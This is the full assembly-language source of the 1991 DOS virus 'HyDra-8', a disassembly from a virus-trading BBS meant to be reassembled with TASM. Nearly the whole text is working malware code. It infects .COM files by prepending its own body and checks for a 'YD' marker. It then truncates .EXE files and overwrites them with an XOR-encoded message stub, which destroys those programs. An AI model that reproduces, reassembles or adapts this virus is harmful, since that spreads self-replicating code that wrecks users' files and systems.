  
PAGE  59,132
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл                             HYDRA8                                   лл
;лл								         лл
;лл                                                                      лл
;лл  Disassembly by: -=>Wasp<=- aka >>Night Crawler<<                    лл
;лл                                                                      лл
;лл  Reassemble with TASM 2.0                                            лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
DATA_1E		EQU	80H
DATA_16E	EQU	1EFH
DATA_17E	EQU	1F2H
DATA_18E	EQU	9D9AH
  
SEG_A		SEGMENT	BYTE PUBLIC
		ASSUME	CS:SEG_A, DS:SEG_A
  
  
		ORG	100h
  
HYDRA8		PROC	FAR
  
START:
		JMP	LOC_2			; (01E2)
		DB	 59H, 44H, 00H, 00H
DATA_4		DB	'HyDra-8   Beta - Not For Release'
		DB	'. *.CO?'
		DB	0
DATA_7		DW	0, 84FCH
DATA_9		DW	0
DATA_10		DB	0
		DB	29 DUP (0)
DATA_11		DB	0
		DB	0, 0, 0, 0, 0, 0
DATA_12		DB	0
		DB	0, 0, 0, 0, 0, 0
COPYRIGHT	DB	'Copyright (c)'
		DB	'  1991 by C.A.V.E.  '
DATA_13		DB	2AH
		DB	 2EH, 45H, 58H, 45H, 00H
DATA_14		DB	33H
		DB	0C9H, 1EH, 52H,0E8H, 06H, 00H
		DB	0E8H, 13H, 00H,0EBH, 36H, 90H
		DB	0BEH, 48H, 01H,0BFH, 5AH, 01H
		DB	0B9H, 12H, 00H
  
LOCLOOP_1:
		XOR	BYTE PTR [SI],0F5H
		MOVSB				; Mov [si] to es:[di]
		LOOP	LOCLOOP_1		; Loop if cx > 0
  
		RETN
		MOV	AX,0F00H
		INT	10H			; Video display   ah=functn 0Fh
						;  get state, al=mode, bh=page
		MOV	AH,0
		INT	10H			; Video display   ah=functn 00h
						;  set display mode in al
		MOV	AX,200H
		MOV	DH,0CH
		MOV	DL,1FH
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
		XOR	DX,DX			; Zero register
		MOV	DX,OFFSET DATA_12
		MOV	AH,9
		INT	21H			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		MOV	AX,200H
		MOV	DH,18H
		MOV	DL,0
		INT	10H			; Video display   ah=functn 02h
						;  set cursor location in dx
		RETN
		MOV	AX,4C00H
		INT	21H			; DOS Services  ah=function 4Ch
						;  terminate with al=return code
		ADD	[BP+SI-6563H],AH
		CMC				; Complement carry
		PUSHF				; Push flags
		XCHG	DH,CH
		MOV	DI,DATA_18E
		DB	 9BH,0F5H,0B2H, 94H, 99H, 81H
		DB	0CAH,0D1H
LOC_2:
		PUSH	AX
		MOV	AX,CS
		ADD	AX,1000H
		XOR	DI,DI			; Zero register
		MOV	CX,1EFH
		MOV	SI,OFFSET DS:[100H]
		MOV	ES,AX
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		MOV	AH,1AH
		MOV	DX,OFFSET DATA_10
		INT	21H			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		MOV	AH,4EH			; 'N'
		MOV	DX,OFFSET DATA_4+22H
		INT	21H			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		JC	LOC_6			; Jump if carry Set
LOC_3:
		MOV	AH,3DH			; '='
		MOV	AL,2
		MOV	DX,OFFSET DATA_11
		INT	21H			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		MOV	BX,AX
		PUSH	ES
		POP	DS
		MOV	AX,3F00H
		MOV	CX,0FFFFH
		MOV	DX,DATA_16E
		INT	21H			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		ADD	AX,1EFH
		MOV	CS:DATA_9,AX
		CMP	WORD PTR DS:DATA_17E,4459H
		JNE	LOC_4			; Jump if not equal
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		PUSH	CS
		POP	DS
		MOV	AH,4FH			; 'O'
		INT	21H			; DOS Services  ah=function 4Fh
						;  find next filename match
		JC	LOC_7			; Jump if carry Set
		JMP	SHORT LOC_3		; (0204)
LOC_4:
		XOR	CX,CX			; Zero register
		MOV	DX,CX
		MOV	AX,4200H
		INT	21H			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		JC	LOC_5			; Jump if carry Set
		MOV	AH,40H			; '@'
		XOR	DX,DX			; Zero register
		MOV	CX,CS:DATA_9
		INT	21H			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
LOC_5:
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		PUSH	CS
		POP	DS
LOC_6:
		MOV	AH,1AH
		MOV	DX,DATA_1E
		INT	21H			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		JMP	SHORT LOC_10		; (02B0)
		DB	90H
LOC_7:
		CLC				; Clear carry flag
		XOR	CX,CX			; Zero register
		PUSH	DS
		PUSH	DX
		MOV	AH,1AH
		MOV	DX,OFFSET DATA_10
		INT	21H			; DOS Services  ah=function 1Ah
						;  set DTA to ds:dx
		MOV	DX,OFFSET DATA_13
		MOV	AH,4EH			; 'N'
		XOR	CX,CX			; Zero register
		INT	21H			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		JC	LOC_6			; Jump if carry Set
LOC_8:
		MOV	AH,3CH			; '<'
		XOR	CX,CX			; Zero register
		MOV	DX,OFFSET DATA_11
		INT	21H			; DOS Services  ah=function 3Ch
						;  create/truncate file @ ds:dx
		MOV	BX,AX
		JC	LOC_6			; Jump if carry Set
		MOV	AX,3D02H
		MOV	DX,OFFSET DATA_11
		INT	21H			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		MOV	BX,AX
		CLC				; Clear carry flag
		XOR	DX,DX			; Zero register
		MOV	AH,40H			; '@'
		MOV	DX,OFFSET DATA_14
		MOV	CX,5AH
		INT	21H			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		CMP	AX,5AH
		JB	LOC_9			; Jump if below
		MOV	AH,3EH			; '>'
		INT	21H			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		JC	LOC_9			; Jump if carry Set
		MOV	AH,4FH			; 'O'
		INT	21H			; DOS Services  ah=function 4Fh
						;  find next filename match
		JNC	LOC_8			; Jump if carry=0
LOC_9:
		MOV	AX,4C00H
		INT	21H			; DOS Services  ah=function 4Ch
						;  terminate with al=return code
LOC_10:
		XOR	DI,DI			; Zero register
		MOV	SI,OFFSET DATA_15
		MOV	CX,22H
		REP	MOVSB			; Rep when cx >0 Mov [si] to es:[di]
		POP	BX
		MOV	CS:DATA_7,0
		MOV	WORD PTR CS:DATA_7+2,ES
		POP	BX
		JMP	DWORD PTR CS:DATA_7
DATA_15		DB	1EH
		DB	 07H,0B9H,0FFH,0FFH,0BEH,0EFH
		DB	 02H,0BFH, 00H, 01H, 2BH,0CEH
		DB	0F3H,0A4H, 2EH,0C7H, 06H, 00H
		DB	 01H, 00H, 01H, 2EH, 8CH, 1EH
		DB	 02H, 01H, 8BH,0C3H, 2EH,0FFH
		DB	 2EH, 00H, 01H,0CDH
		DB	20H
  
HYDRA8		ENDP
  
SEG_A		ENDS
  
  
  
		END	START

Downloaded From P-80 International Information Systems 304-744-2253
